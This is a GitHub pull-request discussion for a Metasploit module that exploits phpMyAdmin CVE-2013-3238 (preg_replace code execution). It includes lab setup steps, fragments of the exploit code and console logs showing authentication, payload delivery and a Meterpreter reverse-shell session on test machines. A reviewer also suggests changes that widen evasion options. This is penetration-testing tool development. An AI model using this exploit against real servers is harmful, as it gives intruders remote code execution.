Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

phpMyAdmin Preg_Replace Exploits CVE-2013-3238 #1772

Closed
wants to merge 22 commits into from

Conversation

Meatballs1
Copy link
Contributor

See: http://www.waraxe.us/advisory-103.html

Tested on nix/apache/php v5.4.6 with most vulnerable versions.

Aside:
I have also added a method to http/response.rb to help parse out Cookies from Set-Cookie.

Some modules appear to cookie = response['Set-Cookie'] which works if you only receive 1 cookie as it is delimited correctly by ;. If The cookie is set with HttpOnly or Expires etc these get pushed into the Cookie: field also.

@Meatballs1
Copy link
Contributor Author

msf exploit(phpmyadmin_preg_replace) > set RHOST 192.168.1.130
RHOST => 192.168.1.130
msf exploit(phpmyadmin_preg_replace) > check

[*] Server version: 4.0.0-alpha1
[+] The target is vulnerable.
msf exploit(phpmyadmin_preg_replace) > exploit

[*] Started reverse handler on 192.168.1.111:4444 
[*] Grabbing CSRF token
[+] Retrieved token
[*] Authenticating...
[+] Authentication successful
[*] Sending exploit payload
[*] Sending stage (39217 bytes) to 192.168.1.130
[*] Meterpreter session 1 opened (192.168.1.111:4444 -> 192.168.1.130:39969) at 2013-04-26 15:43:00 +0100
[*] Session ID 1 (192.168.1.111:4444 -> 192.168.1.130:39969) processing InitialAutoRunScript 'migrate -f'

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : mint-VirtualBox
OS          : Linux mint-VirtualBox 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686
Meterpreter : php/php

@Meatballs1
Copy link
Contributor Author

Test Environment Setup (Mint)
sudo apt-get install mysql-server (Configure a non-blank root password)
sudo apt-get install apache2
sudo apt-get install php5 (check this is <=5.4.6)
sudo apt-get install phpmyadmin (make sure you tick to configure for apache2 and configure the MySQL db)

git clone git://github.com/phpmyadmin/phpmyadmin.git
cd phpmyadmin
git tag -l
git checkout TAGNAME
cp phpmyadmin/* /usr/share/phpmyadmin/.

Login should be with MySQL root password (this will need to be changed from blank). Not tried it with other levels of authentication.

exploit_result = send_request_raw({
'uri' => uri('db_structure.php'),
'method' => 'POST',
'data' => evil,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you use 'vars_post' here instead of raw data, users will have more available evasion options.


data = ""
evil.shuffle!
0.upto(evil.count-1) do |i|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not simply:

data = evil.join("&")

Meatballs1 and others added 9 commits April 26, 2013 19:19
* Add an error_handler function that just returns true. This prevents eventual
  ENOMEM errors and segfaults like these:
    [Fri Apr 26 15:01:00 2013] [error] [client 127.0.0.1] PHP Fatal error:  Allowed memory size of 134217728 bytes exhausted (tried to allocate 44659282 bytes) in /home/egypt/repo/phpmyadmin/libraries/Error.class.php on line 156
    [Fri Apr 26 15:01:16 2013] [notice] child pid 7347 exit signal Segmentation fault (11)
* clean up some whitespace
* Gets rid of conversion errors like this:
    [-] Exploit failed: can't convert Fixnum into String
* also removes comments from php meterp. Works for me with the
  phpmyadmin_preg_replace bug, so seems legit.
@jlee-r7
Copy link
Contributor

jlee-r7 commented Apr 26, 2013

See Meatballs1/pull/4


register_options(
[
OptString.new('URI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@Meatballs1
Copy link
Contributor Author

Out of interest why doesn't https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb define TARGETURI ?

@wchen-r7
Copy link
Contributor

This feature was added awhile ago, but if I remember correctly, I wanted to add TARGETURI in option_container.rb where you can do valid?() and normalize(). But I was told don't even bother to do that because the framework cannot just add an option whenever we feel like it, the Pro version will have to add some code to support that too. So to get around the hassle, we ended up implementing "target_uri" that retrieves datastore option "TARGETURI", and do the parsing from there.

@wchen-r7
Copy link
Contributor

msf exploit(phpmyadmin_preg_replace) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.0.1.76:4444 
[*] Grabbing CSRF token...
[+] Retrieved token
[*] Authenticating...
[+] Authentication successful
[*] Sending stage (39195 bytes) to 10.0.1.78
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.78:40945) at 2013-04-28 12:13:57 -0500

meterpreter > 

@wchen-r7 wchen-r7 closed this in 1d9a695 Apr 28, 2013
@coveralls
Copy link

Coverage Status

Changes Unknown when pulling ccb630e on Meatballs1:phpmyadmin_preg_replace into * on rapid7:master*.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants